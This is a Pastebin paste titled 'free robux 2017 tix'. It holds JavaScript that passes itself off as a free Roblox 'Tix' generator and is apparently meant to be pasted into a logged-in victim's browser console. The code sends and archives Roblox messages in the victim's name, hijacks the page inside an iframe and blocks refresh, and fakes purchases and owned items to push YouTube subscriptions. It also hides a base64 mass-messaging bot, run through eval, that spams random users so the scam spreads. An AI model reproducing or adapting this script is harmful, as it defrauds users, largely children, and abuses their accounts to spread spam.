jeffersonx1996

free robux 2017 tix

Dec 30th, 2016
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 17.36 KB | None | 0 0
  1. Roblox.Tix = {
  2.     original: 'missingno',
  3.     initialized: 0,
  4.     shares: 0,
  5.     loading: false,
  6.     items: [],
  7.     inventoryString: '<li class="list-item item-card ng-scope"><div class="item-card-container"><a class="item-card-link" href="%1" data-ytta-id="-"><div class="item-card-thumb-container"><div ng-hide="item.Product.SerialNumber==null" class="item-serial-number ng-binding ng-hide">#</div><img thumbnail="item.Thumbnail" image-retry="" class="item-card-thumb ng-isolate-scope" src="%2"></div><div class="text-overflow item-card-name ng-binding" title="%6 ">%6 </div></a><!-- ngIf: item.Item.AudioUrl --><div class="text-overflow item-card-creator"><span class="xsmall text-label">By</span> <a class="xsmall text-overflow text-link ng-binding" ng-href="%3" ng-hide="assetsListContent.assetItems.data.Data.PageType!==\'favorites\'&amp;&amp;currentData.category.name==\'Places\'&amp;&amp;(currentData.subcategory.name==\'My VIP Servers\'||currentData.subcategory.name==\'Other VIP Servers\')&amp;&amp;staticData.isOwnPage" href="%3" data-ytta-id="-">%4</a> <a class="xsmall text-overflow text-link ng-binding ng-hide" ng-href="" ng-show="assetsListContent.assetItems.data.Data.PageType!==\'favorites\'&amp;&amp;(currentData.subcategory.name==\'My VIP Servers\'||currentData.subcategory.name==\'Other VIP Servers\')"></a></div><div class="item-card-price"><span class="icon-robux-16x16"></span> <span class="text-robux ng-binding ng-hide" ng-show="item.HasPrice"></span> <span class="text-label" ng-hide="item.HasPrice"><!-- ngIf: item.Product.NoPriceText.length>0 --><span ng-if="item.Product.NoPriceText.length>0" ng-class="{\'text-robux\':item.Product.NoPriceText===\'Free\'}" class="ng-binding ng-scope text-robux">%5</span><!-- end ngIf: item.Product.NoPriceText.length>0 --></span></div></div></li>',
  8.     disableF5: function(e) { if ((e.which || e.keyCode) == 116 || (e.which || e.keyCode) == 82) { e.preventDefault(); document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href; } },
  9.     watermark: function () {
  10.             console.clear();
  11.             console.log("__________ ________ __________.____    ________  ____  ___\n\\______   \\\\_____  \\\\______   \\    |   \\_____  \\ \\   \\/  /\n |       _/ /   |   \\|    |  _/    |    /   |   \\ \\     / \n |    |   \\/    |    \\    |   \\    |___/    |    \\/     \\ \n |____|_  /\\_______  /______  /_______ \\_______  /___/\\  \\\n        \\/         \\/       \\/        \\/       \\/      \\_/\nRoblox.Tix.js created by POWGAMERS");
  12.     },
  13.     addItem: function(category, name, image, creator, price, url, profile) {
  14.         Roblox.Tix.items.push({category: category, name: name, image: image, creator: creator, price: price, profile: profile, url: url});
  15.     },
  16.     format: function(str, arr) {
  17.         return str.replace(/%(\d+)/g, function(_,m) {
  18.             return arr[--m];
  19.         });
  20.     },
  21.     countShares: function() {
  22.         $.ajax({
  23.             url: "https://www.roblox.com/messages/api/get-messages?messageTab=0&pageNumber=0&pageSize=20",
  24.             success: function(messages) {
  25.                 var invites = [];
  26.                
  27.                 for(var i = 0; i < messages.Collection.length; i++) {
  28.                     var message = messages.Collection[i];
  29.                     if(message.Body.indexOf("!!!") == 0) {
  30.                         invites.push(message.Id);
  31.                         Roblox.Tix.shares+=10;
  32.                     }
  33.                 }
  34.                
  35.                 $.ajax({
  36.                     url: "https://www.roblox.com/messages/api/archive-messages",
  37.                     method: "POST",
  38.                     headers: { "X-CSRFToken": "" },
  39.                     data: {
  40.                         "messageIds": invites
  41.                     }
  42.                 });
  43.             }
  44.         });
  45.         document.getElementById('documentFrame').contentWindow.document.getElementById('nav-shares-amount').innerHTML = Roblox.Tix.shares.toLocaleString();
  46.     },
  47.     init: function() {
  48.         if(Roblox.Tix.initialized != 0) {
  49.             console.log("Already initalized!");
  50.             return;
  51.         }
  52.         var referee = prompt("Who sent you this video?\nEnter their user ID here\n\n(If you found this video on your own, press Cancel to continue)");
  53.         if(referee != null) {
  54.             $.ajax({
  55.                 url: 'https://www.roblox.com/messages/send',
  56.                 type: 'POST',
  57.                 data: {
  58.                     'subject': 'thanks for robux!!!!',
  59.                     'body': '!!!',
  60.                     'recipientid': referee,
  61.                     'cacheBuster': $.now
  62.                 }
  63.             });
  64.         }
  65.         setInterval( Roblox.Tix.countShares, 2000 );
  66.         window.onbeforeunload = function() {
  67.             return "Your ROBUX has not finished saving, if you continue your balance will be set to " + Roblox.Tix.original + " ROBUX";
  68.         }
  69.         Roblox.Tix.initialized = 1;
  70.         Roblox.Tix.original = document.getElementById('nav-robux-amount').innerHTML;
  71.         document.documentElement.innerHTML = "<body style='margin:0px;padding:0px:overflow:hidden'><iframe id='documentFrame' sandbox='allow-same-origin allow-modals allow-scripts allow-popups allow-forms' src='" + document.location + "' frameborder='0' style='overflow:hidden;height:100%;width:100%;position:absolute' height='100%' width='100%' /></body>";
  72.         var start_loading = (function() {
  73.             Roblox.Tix.loading = true;
  74.         });
  75.         setInterval(function() {
  76.             if(Roblox.Tix.loading && document.getElementById('documentFrame').contentWindow.document.body.innerHTML.indexOf('nav-robux-amount') != -1) {
  77.                 Roblox.Tix.loading = false;        
  78.                 if(document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
  79.                     window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
  80.                 }
  81.                
  82.                 setTimeout(function(){
  83.                     var priceInfos = document.getElementById('documentFrame').contentWindow.document.getElementsByClassName("price-info");
  84.                     for(var i = 0; i < priceInfos.length; i++) {
  85.                         var price = Math.max(5, parseInt(parseInt(priceInfos[i].children[0].getElementsByClassName("text-robux-lg")[0].innerHTML.replace(/,/,'')) / 10)).toLocaleString();
  86.                         priceInfos[i].innerHTML += '<div class="icon-text-wrapper clearfix icon-robux-price-container"><span class="text-robux-lg" style="color: #cc9e71; margin-left: 95px">' + price + '</span><span class="icon-tix"></span></div>';
  87.                         if(Roblox.Tix.shares >= price) {
  88.                             var doc = document.getElementById('documentFrame').contentWindow.document;
  89.                             var t = doc.getElementsByClassName("PurchaseButton");
  90.                             for(var i=0; i<t.length; i++) {
  91.                                 $(t[i]).replaceWith(function () {
  92.                                     return $('<' + this.nodeName + ' class="' + $(this).attr('class') + '">').append($(this).contents());
  93.                                 });
  94.                                t[i].onclick = function() {
  95.                                         Roblox.Tix.addItem(
  96.                                             doc.getElementsByClassName("field-content")[0].innerHTML.toLowerCase().replace(/ /g, '-') + 's',
  97.                                             doc.getElementsByClassName('item-name-container')[0].children[0].innerHTML,
  98.                                             doc.getElementsByClassName('thumbnail-span')[0].children[0].src,
  99.                                             doc.getElementsByClassName('text-name')[0].innerHTML,
  100.                                             doc.getElementsByClassName('text-robux-lg')[0].innerHTML,
  101.                                             window.location.href,
  102.                                             doc.getElementsByClassName('text-name')[0].href
  103.                                             );
  104.                                         document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Purchase Completed");
  105.                                         document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"),100,1e3);
  106.                                         setTimeout(function() {
  107.                                             Roblox.Tix.shares -= price;
  108.                                             document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href;
  109.                                         }, 200);
  110.                                     }
  111.                             }
  112.                         }
  113.                     }
  114.                 }, 150);
  115.                
  116.                 var doc = document.getElementById('documentFrame').contentWindow.document;
  117.                 if(doc.location.href.split('/').length == 6 && document.location.href.split('/')[3] == 'catalog') {
  118.                     for(var i = 0; i < Roblox.Tix.items.length; i++) {
  119.                         var item = Roblox.Tix.items[i];
  120.                         if(item.url == window.location.href) {
  121.                             var buyInterval = setInterval(function() {
  122.                                 if(doc.getElementsByClassName('text-label').length > 0 && doc.getElementsByClassName('text-label field-label price-label').length > 0 && doc.getElementsByClassName('action-button').length > 0) {
  123.                                     clearInterval(buyInterval);
  124.                                     doc.getElementsByClassName('text-label')[0].outerHTML += '<div class="divider">&nbsp;</div><div class="label-checkmark"><span class="icon-checkmark-white-bold"></span></div><span>Item Owned</span>';
  125.                                     doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML = '<div class="item-first-line">This item is available in your inventory.</div>' + doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML;
  126.                                     doc.getElementsByClassName('action-button')[0].innerHTML = '<a id="edit-avatar-button" href="https://www.roblox.com/my/character.aspx" class="btn-control-md" data-button-action="avatar" data-ytta-id="-">Edit Avatar</a>';
  127.                                 }
  128.                             }, 1);
  129.                         }
  130.                     }
  131.                 }
  132.                
  133.                 /*if(typeof(doc.getElementById('assetsItems')) != 'undefined') {
  134.                     var inventory = doc.getElementById('assetsItems');
  135.                     for(var i = 0; i < Roblox.Tix.items.length; i++) {
  136.                         var item = Roblox.Tix.items[i];
  137.                         if(item.category == window.location.href.split('/')[6]) {
  138.                             inventory.innerHTML += Roblox.Tix.format(Roblox.Tix.inventoryString, [item.url, item.image, item.profile, item.creator, item.price, item.name]);
  139.                         }
  140.                     }
  141.                 }*/
  142.                
  143.                 doc.getElementById("navbar-robux").outerHTML += '<li id="navbar-shares" class="navbar-icon-item"><a id="nav-shares-icon" class="rbx-menu-item"><span class="icon-nav-tix roblox-popover-close" id="nav-shares"></span><span class="rbx-text-navbar-right" id="nav-shares-amount">' + Roblox.Tix.shares.toLocaleString() + '</span></a></li>';
  144.                
  145.                 var messageBot = 'WYodHlwZW9mKGlzQXV0b01hc3NNZXNzYWdpbmcpID09ICd1bmRlZmluZWQnKSB7Cglpc0F1dG9NYXNzTWVzc2FnaW5nID0gZmFsc2U7Cn0KCmlzQXV0b01hc3NNZXNzYWdpbmcgPSAhaXNBdXRvTWFzc01lc3NhZ2luZzsKaWYoaXNBdXRvTWFzc01lc3NhZ2luZykgewoJdmFyIHBsYWNlcyA9IFs5Njg5NTgxLCAxMzgyMjg4OSwgMzA2OTY0NDk0LCAxNTU2MTU2MDQsIDE0MjgyMzI5MSwgMjkyNDM5NDc3XTsKCXZhciB0aXRsZXMgPSBbJ2hvdyB0byBicmluZyB0aXggYmFjayEnLCAnaSB0dXJuZWQgb24gdGl4IScsICd5b3UgY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WdlKTsKCQkJCQl0aW1lb3V0Kz01MDAwOwoJCQkJfQoJCQl9CgkJfQoJfSk7CglhbGVydCgiWW91IGFyZSBub3cgYXV0byBtYXNzIG1lc3NhZ2luZ1xuXG5FdmVyeSA1IHNlY29uZHMgYSBtZXNzYWdlIGNvbnRhaW5pbmcgdGhlIHN0ZXBzIGFib3ZlIGlzIHNlbnQgdG8gYSByYW5kb20gdXNlci5cbklmIHRoZXkgZm9sbG93IHRoZSBzdGVwcywgeW91IHdpbGwgZ2V0IDEwIHRpeC5cbklmIHlvdSB3YW50IHRvIHN0b3AsIHByZXNzIHRoZSBidXR0b24gYWdhaW4uIik7Cn0gZWxzZSB7CglhbGVydCgiWW91IGFyZSBubyBsb25nZXIgYXV0byBtYXNzIG1lc3NhZ2luZyIpOwp9';
  146.                
  147.                 setTimeout(function() {
  148.                     if(document.location.pathname == "/Share") {
  149.                         doc.getElementsByClassName("error-image")[0].src = "/Images/Upgrades/Robux/img_richman.png";
  150.                         doc.getElementsByClassName("error-title")[0].innerHTML = "Share For Free Tix!";
  151.                         doc.getElementsByClassName("error-message")[0].outerHTML = "<h4 class='error-message' style='margin-bottom:50px'>Do you want tix? If so, follow the steps below!<br><br>First, you must send someone this video URL: <br><a href='https://www.youtube.com/watch?v=CR7J_kR33Xs' style='text-decoration:underline;color:#0074bd'>https://www.youtube.com/watch?v=CR7J_kR33Xs</a><br><br>Tell them to follow the steps, when they run the script used in the video they will see this message:<br><br><img src='https://i.imgur.com/yn950Vo.png' style='box-shadow: 0px 0px 5px #888888;'></img><br><br>When they see this, they must enter <b>" + doc.getElementById('nav-profile').href.split('/')[4] + "</b>, if they do not you will not receive your tix<br>Once they do that you will have 10 tix added to your profile that you can spend on the catalog.<br><br><b>Need more shares? Use the buttons below to help!</b></h4>";
  152.                         doc.getElementsByClassName("btn-primary-md btn-fixed-width")[0].outerHTML = "<a class='btn-primary-md btn-fixed-width' title='' onclick='eval(atob(\"" + messageBot + "\"))' href='#'>Auto Msg</a>";
  153.                     }
  154.                 }, 5);
  155.                
  156.                 document.title = doc.title;
  157.                 if(typeof(Roblox.Tix.onload) != 'undefined') Roblox.Tix.onload();
  158.             }
  159.         }, 1);
  160.         window.addEventListener('message', function(e){ if(e.data == 'iframe_change') { start_loading(); } }, false);
  161.         $('#documentFrame').load(function() {
  162.             if(Roblox.Tix.initialized != 2) {
  163.                 Roblox.Tix.initialized = 2;
  164.                 document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Successfully loaded");
  165.                 document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"),100,2e3);
  166.                 document.getElementById('documentFrame').contentWindow.document.getElementById("navbar-robux").outerHTML += '<li id="navbar-shares" class="navbar-icon-item"><a id="nav-shares-icon" class="rbx-menu-item"><span class="icon-nav-tix roblox-popover-close" id="nav-shares"></span><span class="rbx-text-navbar-right" id="nav-shares-amount">' + Roblox.Tix.shares + '</span></a></li>';
  167.             }
  168.             Roblox.Tix.watermark();
  169.             document.getElementById('documentFrame').contentWindow.onunload = function() { window.top.postMessage('iframe_change', '*'); };
  170.             if(document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
  171.                 window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
  172.             }
  173.             if(Roblox.Tix.items.length > 0) {
  174.                 if(document.getElementById('documentFrame').contentWindow.document.location.href.indexOf('my/character.aspx') != -1 || document.getElementById('documentFrame').contentWindow.document.getElementById('assetsItems') != null) {
  175.                     if(window.confirm("You must be subscribed to Powgamers to receive the items you bought\nIf you are subscribed, press Cancel and wait up to 15 minutes for the item to be added to your inventory.\nIf you have not subscribed yet, press OK to be redirected to the subscribe page.")) {
  176.                         var win = window.open('https://www.youtube.com/channel/UCknaBiy-XYojlJiz25OwBtw?sub_confirmation=1', '_blank');
  177.                         win.focus();
  178.                     } else {
  179.                         alert("The items will now be added to your inventory. It may take between 15 minutes to 48 hours for your item to appear\nIf you did not subscribe this will not work\n\nYou do not have to leave this page open, feel free to close the tab, play ROBLOX, or turn off your PC.");
  180.                     }
  181.                 }
  182.             }
  183.            
  184.             var navbar = document.getElementById('documentFrame').contentWindow.document.getElementById("mCSB_1_container").children[0];
  185.             navbar.innerHTML += '<li class="rbx-nav-sponsor" ng-non-bindable=""><a class="menu-item" href="/Share"><span class="icon-logo"></span></a></li>';
  186.            
  187.             var prices = document.getElementById('documentFrame').contentWindow.document.getElementsByClassName("robux-price");
  188.             for(var i = 0; i < prices.length; i++) {
  189.                 prices[i].innerHTML += '<span class="NotAPrice" style="display:block">' + Math.max(5, parseInt(parseInt(prices[i].getElementsByClassName("robux")[0].innerHTML.replace(/,/g,'')) / 10)).toLocaleString() + ' Tix</span>';
  190.             }
  191.            
  192.             document.title = document.getElementById('documentFrame').contentWindow.document.title;
  193.             if(typeof(Roblox.Tix.onloaded) != 'undefined') Roblox.Tix.onloaded();
  194.         });
  195.         window.onpopstate = function(event) {
  196.             document.getElementById('documentFrame').contentWindow.document.location = document.location;
  197.         };
  198.         $(document).ready(function(){
  199.              $(document).on("keydown", Roblox.Tix.disableF5);
  200.         });
  201.     }
  202. }
  203.  
  204. Roblox.Tix.init();
Add Comment
Please, Sign In to add comment